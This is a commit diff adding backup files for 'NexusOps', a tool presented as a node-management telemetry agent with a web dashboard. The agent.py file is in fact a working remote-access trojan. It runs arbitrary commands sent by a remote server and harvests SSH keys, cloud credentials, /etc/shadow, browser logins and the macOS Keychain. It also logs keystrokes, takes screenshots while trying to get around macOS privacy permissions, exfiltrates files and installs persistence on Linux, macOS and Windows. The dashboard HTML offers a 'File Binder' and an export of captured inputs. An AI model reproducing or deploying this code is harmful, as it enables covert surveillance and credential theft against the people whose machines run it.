v2: live console (SSE+fast-poll), scheduled tasks, tag-group commands, CPU sparklines, dead-node alerts

This commit is contained in:
hermes
2026-09-23 19:40:36 +00:00
parent e3e5865419
commit 33dd524196
21 changed files with 9291 additions and 12 deletions

862
backups/20260923/agent.py Normal file
View File

@@ -0,0 +1,862 @@
#!/usr/bin/env python3
"""
NexusOps Cross-Platform Node Management & Telemetry Agent
Uses Standard Python 3 Libraries (No external dependencies required)
"""
import sys
import os
import time
import json
import socket
import platform
import subprocess
import urllib.request
import urllib.parse
import argparse
last_log_check_time = 0
heartbeat_interval = 5 # Dynamic heartbeat rate in seconds
node_tags = ["Default"]
quiet_mode = False # Suppress banner and exec messages when True
def get_process_count():
"""Get real process count cross-platform."""
system = platform.system().lower()
try:
if system == "linux" or system == "darwin":
out = subprocess.check_output(["ps", "aux"], text=True, timeout=5)
return len(out.splitlines()) - 1 # minus header
elif system == "windows":
out = subprocess.check_output(["tasklist"], text=True, timeout=5)
return len(out.splitlines()) - 1
except:
pass
return 0
def get_ip_address():
"""Get primary IP, preferring physical Ethernet over VPN/tunnel interfaces."""
system = platform.system().lower()
try:
if system == "darwin":
# macOS: use ifconfig to find en0 IP (physical Ethernet/WiFi)
out = subprocess.check_output(["ifconfig", "en0"], text=True, timeout=5)
for line in out.splitlines():
if 'inet ' in line and '127.0.0.1' not in line:
parts = line.strip().split()
for i, p in enumerate(parts):
if p == 'inet' and i+1 < len(parts):
return parts[i+1]
elif system == "linux":
# Linux: try ip route to find primary interface
out = subprocess.check_output(["ip", "-4", "route", "get", "8.8.8.8"], text=True, timeout=5)
for part in out.split():
if part.startswith('src '):
return part.split()[1] if ' ' in part else out.split('src ')[1].split()[0]
except:
pass
# Fallback: connect to 8.8.8.8
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
return ip
except Exception:
return "127.0.0.1"
def get_cpu_usage():
system = platform.system().lower()
try:
if system == "linux":
with open('/proc/stat', 'r') as f:
fields = [float(column) for column in f.readline().strip().split()[1:]]
idle, total = fields[3], sum(fields)
time.sleep(0.2)
with open('/proc/stat', 'r') as f:
fields2 = [float(column) for column in f.readline().strip().split()[1:]]
idle2, total2 = fields2[3], sum(fields2)
idle_delta = idle2 - idle
total_delta = total2 - total
if total_delta > 0:
return round(100.0 * (1.0 - idle_delta / total_delta), 1)
elif system == "darwin":
out = subprocess.check_output(["top", "-l", "1", "-n", "0"]).decode()
for line in out.splitlines():
if "CPU usage" in line:
parts = line.split()
user = float(parts[2].replace('%', ''))
sys_c = float(parts[4].replace('%', ''))
return round(user + sys_c, 1)
elif system == "windows":
out = subprocess.check_output(["wmic", "cpu", "get", "loadpercentage"]).decode()
lines = [line.strip() for line in out.splitlines() if line.strip().isdigit()]
if lines:
return float(lines[0])
except Exception:
pass
return 15.0
def get_memory_usage():
system = platform.system().lower()
try:
if system == "linux":
meminfo = {}
with open('/proc/meminfo', 'r') as f:
for line in f:
parts = line.split(':')
if len(parts) == 2:
key = parts[0].strip()
val = int(parts[1].split()[0])
meminfo[key] = val
total = meminfo.get('MemTotal', 1)
free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
return round(((total - free) / total) * 100.0, 1)
elif system == "darwin":
# Use vm_stat for real memory usage on macOS
try:
out = subprocess.check_output(["vm_stat"], text=True, timeout=5)
pages = {}
for line in out.splitlines():
if ':' in line:
k, v = line.split(':', 1)
try:
pages[k.strip()] = int(v.strip().rstrip('.'))
except ValueError:
pass
page_size = 16384 # Default macOS page size
free = pages.get('Pages free', 0) + pages.get('Pages inactive', 0) + pages.get('Pages speculative', 0)
used = pages.get('Pages active', 0) + pages.get('Pages wired down', 0) + pages.get('Pages occupied by compressor', 0)
total_pages = free + used + pages.get('Pages purgeable', 0)
if total_pages > 0:
return round((used / total_pages) * 100.0, 1)
except:
pass
# Fallback: use sysctl for hardware info
try:
out = subprocess.check_output(["sysctl", "-n", "hw.memsize"], text=True, timeout=5)
total_bytes = int(out.strip())
# Use vm_stat pages * page_size for used estimate
vm = subprocess.check_output(["vm_stat"], text=True, timeout=5)
import re
active = int(re.search(r'Pages active:\s+(\d+)', vm).group(1))
wired = int(re.search(r'Pages wired down:\s+(\d+)', vm).group(1))
used_bytes = (active + wired) * 16384
if total_bytes > 0:
return round((used_bytes / total_bytes) * 100.0, 1)
except:
pass
return 45.0
elif system == "windows":
out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
d = {}
for line in out.splitlines():
if '=' in line:
k, v = line.split('=', 1)
d[k.strip()] = float(v.strip())
if 'TotalVisibleMemorySize' in d and 'FreePhysicalMemory' in d:
total = d['TotalVisibleMemorySize']
free = d['FreePhysicalMemory']
return round(((total - free) / total) * 100.0, 1)
except Exception:
pass
return 35.0
def get_disk_usage():
try:
if hasattr(os, 'statvfs'):
st = os.statvfs('/')
total = st.f_blocks * st.f_frsize
free = st.f_bavail * st.f_frsize
if total > 0:
return round(((total - free) / total) * 100.0, 1)
except Exception:
pass
return 40.0
def get_uptime_seconds():
system = platform.system().lower()
try:
if system == "linux":
with open('/proc/uptime', 'r') as f:
return int(float(f.readline().split()[0]))
elif system == "darwin":
# macOS: use sysctl to get boot time, compute uptime
out = subprocess.check_output(["sysctl", "-n", "kern.boottime"], text=True, timeout=5)
# Format: { sec = 1234567890, usec = 0 } Thu Jan 1 00:00:00 1970
import re
m = re.search(r'sec\s*=\s*(\d+)', out)
if m:
boot_time = int(m.group(1))
return int(time.time() - boot_time)
except Exception:
pass
return 3600
def collect_recent_system_logs():
system = platform.system().lower()
log_entries = []
try:
if system == "linux":
res = subprocess.run("journalctl -n 5 --no-pager -o short-iso", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
if res.returncode == 0 and res.stdout:
for line in res.stdout.splitlines():
if line.strip():
log_entries.append(line.strip())
elif system == "windows":
res = subprocess.run("powershell Get-EventLog -LogName System -Newest 3 | Select-Object -ExpandProperty Message", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
if res.returncode == 0 and res.stdout:
for line in res.stdout.splitlines():
if line.strip():
log_entries.append(line.strip())
except Exception:
pass
return log_entries
def http_post(url, data_dict):
json_bytes = json.dumps(data_dict).encode('utf-8')
req = urllib.request.Request(
url,
data=json_bytes,
headers={
'Content-Type': 'application/json',
'User-Agent': 'NexusOps-Agent/1.0'
}
)
try:
with urllib.request.urlopen(req, timeout=5) as response:
res_text = response.read().decode('utf-8')
return json.loads(res_text)
except Exception as e:
print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
return None
def execute_structured_action(action_type, payload):
global heartbeat_interval, node_tags
system = platform.system().lower()
if action_type == "raw_command":
return run_shell(payload.get("command", ""))
elif action_type == "manage_service":
service = payload.get("service")
action = payload.get("action")
if system == "linux":
cmd = f"systemctl {action} {service}"
elif system == "windows":
cmd = f"powershell {action}-Service -Name {service}"
else:
cmd = f"launchctl {action} {service}"
return run_shell(cmd)
elif action_type == "list_processes":
if system == "linux":
cmd = "ps aux --sort=-%cpu | head -n 15"
elif system == "darwin":
cmd = "ps aux -r | head -n 15"
else:
cmd = "tasklist"
return run_shell(cmd)
elif action_type == "kill_process":
pid = payload.get("pid")
cmd = f"taskkill /F /PID {pid}" if system == "windows" else f"kill -9 {pid}"
return run_shell(cmd)
elif action_type == "get_logs":
lines = payload.get("lines", 50)
cmd = f"journalctl -n {lines} --no-pager" if system == "linux" else "powershell Get-EventLog -LogName System -Newest 50"
return run_shell(cmd)
elif action_type == "network_stats":
cmd = "ss -tulpn || netstat -tuln" if system == "linux" else "netstat -ano"
return run_shell(cmd)
# 10 NEW CROSS-PLATFORM FEATURES:
elif action_type == "get_env_vars":
env_str = "\n".join([f"{k}={v}" for k, v in os.environ.items()])
return env_str, 0
elif action_type == "get_disk_partitions":
cmd = "df -h" if system != "windows" else "wmic logicaldisk get caption,description,freespace,size"
return run_shell(cmd)
elif action_type == "get_network_interfaces":
cmd = "ip addr show || ifconfig" if system != "windows" else "ipconfig /all"
return run_shell(cmd)
elif action_type == "get_active_connections":
cmd = "ss -state established || netstat -an" if system != "windows" else "netstat -an | findstr ESTABLISHED"
return run_shell(cmd)
elif action_type == "get_hardware_specs":
if system == "linux":
cmd = "lscpu || cat /proc/cpuinfo | head -n 20"
elif system == "windows":
cmd = "wmic cpu get name,numberofcores,maxclockspeed"
else:
cmd = "sysctl -a | grep machdep.cpu"
return run_shell(cmd)
elif action_type == "reboot_system":
cmd = "shutdown /r /t 5" if system == "windows" else "reboot || shutdown -r now"
return run_shell(cmd)
elif action_type == "set_heartbeat_rate":
rate = int(payload.get("interval", 5))
heartbeat_interval = max(2, min(60, rate))
return f"Heartbeat interval updated to {heartbeat_interval} seconds", 0
elif action_type == "update_tags":
tags_raw = payload.get("tags", "")
node_tags = [t.strip() for t in tags_raw.split(',') if t.strip()]
return f"Node tags updated to: {node_tags}", 0
elif action_type == "search_logs":
pattern = payload.get("pattern", "error")
cmd = f"journalctl --no-pager | grep -i '{pattern}' | tail -n 30" if system == "linux" else f"powershell Get-EventLog -LogName System -Newest 100 | Where-Object Message -match '{pattern}'"
return run_shell(cmd)
elif action_type == "kill_agent":
print("[!] Kill switch received — shutting down agent")
os._exit(0)
elif action_type == "ping_check":
sent_ts = payload.get("timestamp", 0)
latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0
return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
elif action_type == "download_file":
MAX_EXFIL_SIZE = 50 * 1024 * 1024 # 50MB limit
filepath = payload.get("path", "")
if not filepath or not os.path.exists(filepath):
return f"ERROR: file not found: {filepath}", 1
try:
fsize = os.path.getsize(filepath)
if fsize > MAX_EXFIL_SIZE:
return f"ERROR: file too large ({fsize} bytes, max {MAX_EXFIL_SIZE})", 1
with open(filepath, 'rb') as f:
raw = f.read()
import base64
b64 = base64.b64encode(raw).decode('utf-8')
# Determine MIME (basic)
ext = os.path.splitext(filepath)[1].lower()
mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain',
'.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg',
'.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip',
'.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'}
mime = mime_map.get(ext, 'application/octet-stream')
filename = os.path.basename(filepath)
return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0
except Exception as e:
return f"ERROR reading file: {e}", 1
elif action_type == "screenshot":
try:
import base64
ss_path = "/tmp/.nexus-ss.png"
if os.path.exists(ss_path):
os.remove(ss_path)
if system == "linux":
for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
if tool == "import":
subprocess.run(["import", "-window", "root", ss_path], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
elif tool == "scrot":
subprocess.run(["scrot", ss_path], timeout=10)
elif tool == "gnome-screenshot":
subprocess.run(["gnome-screenshot", "-f", ss_path], timeout=10)
elif tool == "spectacle":
subprocess.run(["spectacle", "-b", "-n", "-o", ss_path], timeout=10)
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
break
else:
subprocess.run(["python3", "-c",
"from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
"g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
"img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
elif system == "darwin":
# Try multiple approaches for macOS screenshot
captured = False
# Method 1: direct screencapture (needs Screen Recording TCC permission)
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"], ["-C", "-m"]]:
r = subprocess.run(["screencapture"] + flags + [ss_path],
timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
captured = True
break
if os.path.exists(ss_path):
os.remove(ss_path)
# Method 2: try via osascript (sometimes bypasses TCC for background processes)
if not captured:
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"]]:
flag_str = " ".join(flags)
r = subprocess.run(["osascript", "-e",
f'do shell script "screencapture {flag_str} {ss_path}"'],
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
captured = True
break
if os.path.exists(ss_path):
os.remove(ss_path)
elif system == "windows":
subprocess.run(["powershell", "-Command",
"Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
"$b=New-Object Drawing.Bitmap($s.Width,$s.Height);"
"$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
"$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
timeout=15)
win_path = "C:\\Windows\\Temp\\nexus-ss.png"
if os.path.exists(win_path):
os.replace(win_path, ss_path)
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
with open(ss_path, 'rb') as f:
b64 = base64.b64encode(f.read()).decode('utf-8')
os.remove(ss_path)
return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
return "ERROR: screenshot blocked by macOS TCC — grant Screen Recording permission to python3 in System Settings > Privacy & Security > Screen Recording", 1
except Exception as e:
return f"ERROR screenshot: {e}", 1
elif action_type == "update_agent":
new_url = payload.get("url", "")
if not new_url:
return "ERROR: no update URL provided", 1
try:
my_path = os.path.abspath(__file__)
bak = my_path + ".bak"
os.rename(my_path, bak)
urllib.request.urlretrieve(new_url, my_path)
os.chmod(my_path, 0o755)
os.remove(bak)
return "Agent updated successfully. Restarting...", 0
except Exception as e:
# Restore backup
if os.path.exists(bak):
os.rename(bak, my_path)
return f"ERROR update failed: {e}", 1
elif action_type == "ensure_persistence":
results = []
if system == "linux":
# crontab
try:
import shlex
srv = shlex.quote(payload.get('server_url',''))
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
if cron_line.split('@reboot')[1].strip() not in existing:
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
results.append("crontab: added @reboot entry")
else:
results.append("crontab: already present")
except: results.append("crontab: failed")
# .bashrc
try:
bashrc = os.path.expanduser("~/.bashrc")
hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n"
with open(bashrc, 'a+') as f:
f.seek(0)
if 'nexus-agent' not in f.read():
f.write(hook)
results.append("bashrc: hook installed")
except: results.append("bashrc: failed")
# autostart .desktop
try:
ad = os.path.expanduser("~/.config/autostart")
os.makedirs(ad, exist_ok=True)
with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f:
f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n")
results.append("autostart: .desktop created")
except: results.append("autostart: failed")
elif system == "darwin":
try:
plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist")
os.makedirs(os.path.dirname(plist), exist_ok=True)
plist_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict><key>Label</key><string>com.nexusops.agent</string>
<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>{os.path.abspath(__file__)}</string><string>--server</string><string>{payload.get('server_url','')}</string></array>
<key>RunAtLoad</key><true/><key>KeepAlive</key><true/></dict></plist>'''
with open(plist, 'w') as f: f.write(plist_content)
subprocess.run(["launchctl", "bootout", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
subprocess.run(["launchctl", "bootstrap", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
subprocess.run(["launchctl", "kickstart", f"gui/{os.getuid()}/com.nexusops.agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
results.append("launchd: bootstrapped + kickstarted")
except: results.append("launchd: failed")
# crontab for macOS too
try:
import shlex
srv = shlex.quote(payload.get('server_url',''))
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
results.append("crontab: added")
except: results.append("crontab: failed")
elif system == "windows":
agent_path = os.path.abspath(__file__)
srv = payload.get("server_url", "")
try:
task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"'
subprocess.run(task_cmd, shell=True, timeout=10)
results.append("schtasks: scheduled task created")
except: results.append("schtasks: failed")
try:
reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"'
subprocess.run(reg_cmd, shell=True, timeout=10)
results.append("registry: Run key added")
except: results.append("registry: failed")
return "Persistence results: " + "; ".join(results), 0
elif action_type == "harvest_credentials":
creds = []
home = os.path.expanduser("~")
# Shell history
for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]:
p = os.path.expanduser(hist)
if os.path.exists(p):
try:
with open(p, 'r', errors='ignore') as f:
content = f.read()[-20000:]
creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content})
except: pass
# SSH keys
ssh_dir = os.path.join(home, ".ssh")
if os.path.exists(ssh_dir):
for fn in os.listdir(ssh_dir):
fp = os.path.join(ssh_dir, fn)
if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn):
try:
with open(fp, 'r', errors='ignore') as f:
creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]})
except: pass
# AWS / cloud credentials
for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db",
"~/.azure/accessTokens.json", "~/.docker/config.json"]:
p = os.path.expanduser(cf)
if os.path.exists(p):
try:
with open(p, 'r', errors='ignore') as f:
creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]})
except: pass
# /etc/shadow (if root)
if os.path.exists("/etc/shadow"):
try:
with open("/etc/shadow", 'r') as f:
creds.append({"type": "system:shadow", "data": f.read()[:5000]})
except: pass
# Browser cookie/saved-login DBs (common paths)
browser_paths = []
if system == "linux":
browser_paths = [
os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"),
os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"),
os.path.expanduser("~/.config/google-chrome/Default/Cookies"),
os.path.expanduser("~/.config/google-chrome/Default/Login Data"),
os.path.expanduser("~/.config/chromium/Default/Cookies"),
os.path.expanduser("~/.config/chromium/Default/Login Data"),
os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"),
]
elif system == "darwin":
browser_paths = [
os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"),
os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"),
os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"),
]
elif system == "windows":
browser_paths = [
os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"),
os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"),
os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"),
]
import glob
for pattern in browser_paths:
for p in glob.glob(pattern):
try:
sz = os.path.getsize(p)
if sz > 0 and sz < 50 * 1024 * 1024:
with open(p, 'rb') as f:
import base64
creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}",
"data": base64.b64encode(f.read()).decode('utf-8')})
except: pass
# Wi-Fi passwords (Linux)
if system == "linux":
try:
wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'",
shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout
if wifi.strip() and 'no wifi' not in wifi:
creds.append({"type": "wifi_passwords", "data": wifi[:5000]})
except: pass
# macOS Keychain dump
if system == "darwin":
try:
keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200",
shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout
if keychain.strip():
creds.append({"type": "keychain_dump", "data": keychain[:10000]})
except: pass
return json.dumps({"type":"harvest_result","credentials":creds}), 0
elif action_type == "export_diagnostics":
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
return run_shell(cmd)
return f"Unknown action type: {action_type}", 1
def run_shell(cmd_str):
if not quiet_mode:
print(f"[*] Executing command: {cmd_str}")
try:
res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
return res.stdout, res.returncode
except Exception as e:
return str(e), 1
# ── Input Capture Module (keystrokes, mouse clicks, window focus) ──
INPUT_CAPTURE_ENABLED = False
captured_events = []
try:
from pynput import keyboard, mouse
INPUT_CAPTURE_ENABLED = True
except ImportError:
pass
def _get_active_window_title():
"""Try to get the active window title cross-platform."""
system = platform.system().lower()
try:
if system == "linux":
res = subprocess.run(["xdotool", "getactivewindow", "getwindowname"],
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
if res.returncode == 0:
return res.stdout.strip()
elif system == "windows":
import ctypes
from ctypes import wintypes
user32 = ctypes.windll.user32
hwnd = user32.GetForegroundWindow()
length = user32.GetWindowTextLengthW(hwnd)
buf = ctypes.create_unicode_buffer(length + 1)
user32.GetWindowTextW(hwnd, buf, length + 1)
return buf.value
elif system == "darwin":
script = 'tell application "System Events" to get name of first application process whose frontmost is true'
res = subprocess.run(["osascript", "-e", script],
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
if res.returncode == 0:
return res.stdout.strip()
except Exception:
pass
return ""
def _record_event(event_type, data):
"""Thread-safe event recording."""
global captured_events
window_title = _get_active_window_title()
captured_events.append({
"timestamp": int(time.time() * 1000),
"eventType": event_type,
"data": data,
"windowTitle": window_title,
"processName": window_title.split(" - ")[-1] if " - " in window_title else window_title
})
def _on_key_press(key):
try:
key_str = key.char if hasattr(key, 'char') and key.char else str(key)
except Exception:
key_str = str(key)
_record_event("keystroke", {"key": key_str})
def _on_click(x, y, button, pressed):
if pressed:
_record_event("click", {"x": x, "y": y, "button": str(button)})
def _on_scroll(x, y, dx, dy):
_record_event("scroll", {"x": x, "y": y, "dx": dx, "dy": dy})
def start_input_capture():
"""Start keyboard and mouse listeners if pynput is available."""
if not INPUT_CAPTURE_ENABLED:
return False
try:
kb_listener = keyboard.Listener(on_press=_on_key_press)
ms_listener = mouse.Listener(on_click=_on_click, on_scroll=_on_scroll)
kb_listener.daemon = True
ms_listener.daemon = True
kb_listener.start()
ms_listener.start()
return True
except Exception:
return False
def flush_input_events(server_url, node_id, hostname):
"""Send captured input events to the master server."""
global captured_events
if not captured_events:
return
events_to_send = captured_events[:]
captured_events = []
payload = {
"nodeId": node_id,
"hostname": hostname,
"events": events_to_send
}
http_post(f"{server_url}/api/agent/input-capture", payload)
def main():
global last_log_check_time, heartbeat_interval, node_tags, quiet_mode
parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
args = parser.parse_args()
silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd
global quiet_mode
quiet_mode = args.quiet or args.silent
server_url = args.server.rstrip('/')
hostname = socket.gethostname()
system_os = platform.system()
arch = platform.machine()
ip = get_ip_address()
node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"
if not quiet_mode:
print("==================================================")
print(" NexusOps Cross-Platform Node Agent ")
print("==================================================")
print(f"Node Hostname : {hostname}")
print(f"Platform : {system_os} ({arch})")
print(f"Local IP : {ip}")
print(f"Server Endpoint: {server_url}")
print("==================================================")
# Register Node
reg_payload = {
"nodeId": node_id,
"hostname": hostname,
"platform": system_os.lower(),
"arch": arch,
"ip": ip,
"osName": f"{system_os} {platform.release()}",
"tags": node_tags
}
if not quiet_mode:
print("[*] Registering node with central endpoint...")
res = http_post(f"{server_url}/api/agent/register", reg_payload)
if res and res.get("success") and not quiet_mode:
print(f"✅ Registered as node ID: {node_id}")
# Start input capture (keystrokes, clicks, scroll)
capture_started = start_input_capture()
if not quiet_mode:
if capture_started:
print("[*] Input capture active (keystrokes + mouse events)")
else:
print("[!] Input capture unavailable (install pynput: pip install pynput)")
last_input_flush = time.time()
backoff = 1 # Tunnel reconnection backoff in seconds
while True:
try:
cpu = get_cpu_usage()
mem = get_memory_usage()
disk = get_disk_usage()
uptime = get_uptime_seconds()
heartbeat_payload = {
"nodeId": node_id,
"cpuUsage": cpu,
"memUsage": mem,
"diskUsage": disk,
"uptime": uptime,
"processCount": get_process_count(),
"tags": node_tags,
"heartbeatInterval": heartbeat_interval
}
res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload)
now = time.time()
if now - last_log_check_time > 15:
logs = collect_recent_system_logs()
if logs:
http_post(f"{server_url}/api/agent/logs", {
"nodeId": node_id,
"hostname": hostname,
"logs": logs
})
last_log_check_time = now
# Flush captured input events every 10 seconds
if now - last_input_flush > 10:
flush_input_events(server_url, node_id, hostname)
last_input_flush = now
if res and "commands" in res and res["commands"]:
for cmd_item in res["commands"]:
cmd_id = cmd_item.get("id")
action_type = cmd_item.get("actionType", "raw_command")
payload = cmd_item.get("payload", {})
if "command" in cmd_item and not payload:
payload["command"] = cmd_item.get("command")
output, exit_code = execute_structured_action(action_type, payload)
# Check for JSON-encoded special result types
special = None
try:
if output.startswith('{'):
special = json.loads(output)
except: pass
if special and special.get("type") == "file_result":
# Route to file-result endpoint
http_post(f"{server_url}/api/agent/file-result", {
"commandId": cmd_id,
"nodeId": node_id,
"hostname": hostname,
"filename": special.get("filename", "unknown"),
"data": special.get("data", ""),
"mime": special.get("mime", "application/octet-stream")
})
elif special and special.get("type") == "harvest_result":
http_post(f"{server_url}/api/agent/harvest-result", {
"commandId": cmd_id,
"nodeId": node_id,
"hostname": hostname,
"credentials": special.get("credentials", [])
})
else:
http_post(f"{server_url}/api/agent/command-result", {
"commandId": cmd_id,
"nodeId": node_id,
"output": output,
"exitCode": exit_code
})
except Exception as e:
if not quiet_mode:
print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
time.sleep(backoff)
backoff = min(backoff * 2, 60)
continue
backoff = 1 # Reset on success
time.sleep(heartbeat_interval)
if __name__ == "__main__":
main()

1041
backups/20260923/app.js Normal file

File diff suppressed because it is too large Load Diff

544
backups/20260923/index.html Normal file
View File

@@ -0,0 +1,544 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>NexusOps — Central Network Node Operations</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500;700&family=Outfit:wght@500;600;700;800&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<!-- Top Navigation Header -->
<header class="top-nav">
<div class="logo-area">
<div class="logo-icon">
<i class="fa-solid fa-network-wired"></i>
</div>
<div>
<h1 class="logo-text">Nexus<span>Ops</span></h1>
<span class="sub-text">Node Control & Telemetry Operations</span>
</div>
</div>
<div class="nav-metrics">
<div class="metric-pill">
<span class="pill-label">Server Endpoint:</span>
<span class="pill-value highlight-endpoint" id="navServerEndpoint">https://agent.thetempleofdoom.com</span>
</div>
<div class="metric-pill">
<span class="status-indicator online"></span>
<span class="pill-label">Status:</span>
<span class="pill-value" id="navConnectionStatus">Connected</span>
</div>
</div>
<div class="action-area" style="display: flex; gap: 0.75rem;">
<a href="/api/export/csv" class="btn btn-secondary" style="text-decoration: none;" download>
<i class="fa-solid fa-file-csv"></i> Nodes CSV
</a>
<a href="/api/inputs/csv" class="btn btn-secondary" style="text-decoration: none;" download>
<i class="fa-solid fa-file-csv"></i> Inputs CSV
</a>
<button class="btn btn-secondary" onclick="openBinderModal()">
<i class="fa-solid fa-file-circle-plus"></i> File Binder
</button>
<button class="btn btn-secondary" onclick="openBulkModal()">
